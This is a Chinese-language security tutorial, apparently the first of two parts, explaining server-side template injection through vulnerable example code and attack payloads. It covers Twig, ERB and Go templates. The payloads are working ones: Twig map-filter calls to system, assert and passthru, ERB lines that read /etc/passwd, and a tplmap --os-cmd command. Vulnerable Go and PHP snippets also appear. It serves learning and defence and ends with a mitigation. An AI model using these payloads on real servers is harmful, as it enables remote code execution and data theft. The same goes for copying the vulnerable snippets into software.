【技術分享】SSTI漏洞學習 (上)——基礎知識和一些不常見的模板引擎介紹
SSTI簡介
MVC
MVC是一種框架型模式,全名是Model View Controller。
即模型(model)-視圖(view)-控制器(controller)
在MVC的指導下開發中用一種業務邏輯、數據、界面顯示分離的方法組織代碼,將業務邏輯聚集到一個部件里面,在改進和個性化定制界面及用戶交互的同時,得到更好的開發和維護效率。
在MVC框架中,用戶的輸入通過 View 接收,交給 Controller ,然后由 Controller 調用 Model 或者其他的 Controller 進行處理,最后再返回給 View ,這樣就最終顯示在我們的面前了,那么這里的 View 中就會大量地用到一種叫做模板的技術。
繞過服務端接收了用戶的惡意輸入以后,未經任何處理就將其作為 Web 應用模板內容的一部分,而模板引擎在進行目標編譯渲染的過程中,執行了用戶插入的可以破壞模板的語句,就會導致敏感信息泄露、代碼執行、GetShell 等問題.
雖然市面上關于SSTI的題大都出在python上,但是這種攻擊方式請不要認為只存在于 Python 中,凡是使用模板的地方都可能會出現 SSTI 的問題,SSTI 不屬于任何一種語言。
常見的模板引擎和注入漏洞
Twig(PHP)
首先以Twig模板引擎介紹SSTI,很多時候,SSTI發生在直接將用戶輸入作為模板,比如下面的代碼
require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader([ 'index' => 'Hello {{ name }}!',]);$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
createTemplate時注入了$_GET['name'],就會引發SSTI
而如下代碼則不會,因為模板引擎解析的是字符串常量中的{{name}},而不是動態拼接的$_GET["name"]
require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader([ 'index' => 'Hello {{ name }}!',]);$twig = new \Twig\Environment($loader);
echo $twig->render('index', array("name" => $_GET["name"]));
而對于模板引擎的利用,往往是借助模板中的一些方法實現攻擊目的,比如Twig中的過濾器map

舉個經典的例子
{{["man"]|map((arg)=>"hello #{arg}")}}
會被編譯成下面這樣
twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))
關于這個twig_array_map,源碼中是這樣的

可以看到傳入的$arrow被當作函數執行,那么可以不傳arrow function,可以只傳一個字符串,找個兩個參數的能夠命令執行的危險函數即可
比如
{{["id"]|map("system")|join(",")}}{{["phpinfo();"]|map("assert")|join(",")}}{{["id", 0]|map("passthru")}}
類似的,我們還可以找到一些其他的過濾器sort,filiter,網上也有較多介紹,就不再贅述了。
當然,SSTI還有一種基礎的利用方式就是用來泄露源碼和程序環境中的上下文信息,在Twig引擎中,我們可以通過下面方法獲得一些關于當前應用的信息
{{_self}} #指向當前應用{{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}
ERB(Ruby)
相較于Twig,ERB的代碼直接提供了一些命令執行的接口,比如
<%= system("whoami") %><%= system('cat /etc/passwd') %><%= `ls /` %><%= IO.popen('ls /').readlines() %>
這里提起他主要是引出模板標簽的一些分類
比如這里的ERB模板標簽使用<%= %>,Twig使用{{}},根據一些簡單的poc和標簽的分類,我們可以快速識別出是否存在模板漏洞以及所使用的模板引擎技術

當然有些模板引擎的標簽是可以自定義的,上面列出的只是默認情況
Golang SSTI
關于Golang Template的SSTI研究目前來說還比較少,可能是因為本身設計的也比較安全。
不過通過{{.}}我們可以獲得到作用域

比如在下面這個例子中
package main
import ( "html/template" "net/http")
func handler(w http.ResponseWriter, r *http.Request) { //var name = "" r.ParseForm() // Parses the request body x := r.Form.Get("name") var test map[string]interface{} test = make(map[string]interface{})
var secret map[string]interface{} secret = make(map[string]interface{})
flag := "flag{testflag}" secret["flag"] = &flag
test["secret"] = secret
var tmpl = ` First name:
` + x + `
`
t := template.New("main") //name of the template is main t, _ = t.Parse(tmpl) // parsing of template string t.Execute(w, test)}
func main() { server := http.Server{ Addr: "0.0.0.0:5090", } http.HandleFunc("/", handler) server.ListenAndServe()}
可以獲取到作用域對象

進一步可以獲得flag

甚至如果在作用域中存在可以利用的函數,我們還可以調用該函數完成攻擊,比如
type User struct { ID int Email string Password string}
func (u User) System(test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out)}
就有

Flask/Jinja
這個引擎應該是出鏡率最高的了,能寫的東西也很多,由于篇幅所限,具體內容會在(下)中展開記錄。
常用檢測工具Tplmap
工具地址:https://github.com/epinna/tplmap
和sqlmap的設計風格一致,直接懟就行
/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'
總結
SSTI在MVC架構中是經常出現的一類問題,除去本文中介紹的幾個引擎,還有許多受影響的引擎,比如Velocity 等。該問題主要是由于開發者直接將用戶輸入作為模板交給模板引擎渲染導致的,將用戶輸入綁定到模板的參數中可以緩解這一問題。通過SSTI,我們往往可以獲取到程序運行的上下文環境,甚至利用模板引擎的內置方法完成遠程代碼注入等高危攻擊。